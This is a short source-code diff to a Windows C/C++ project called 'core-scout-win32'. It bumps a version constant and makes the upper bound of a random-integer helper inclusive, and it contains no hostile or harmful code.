a/core-scout-win32/main.h b/core-scout-win32/main.h index 555e407..a7aa9d8 100644 --- a/core-scout-win32/main.h +++ b/core-scout-win32/main.h @@ -3,7 +3,7 @@ #include "binpatched_vars.h" -#define SCOUT_VERSION 4 +#define SCOUT_VERSION 5 #define SHARED_MEMORY_WRITE_SIZE 4096 VOID MySleep(ULONG uTime); diff --git a/core-scout-win32/proto.cpp b/core-scout-win32/proto.cpp index 00f1e5b..9472f2d 100644 --- a/core-scout-win32/proto.cpp +++ b/core-scout-win32/proto.cpp @@ -727,6 +727,9 @@ ULONG GetRandomInt(ULONG uMin, ULONG uMax) uFirstTime = FALSE; } + if (uMax < (ULONG) 0xFFFFFFFF) + uMax++; + return (rand()%(uMax-uMin))+uMin; }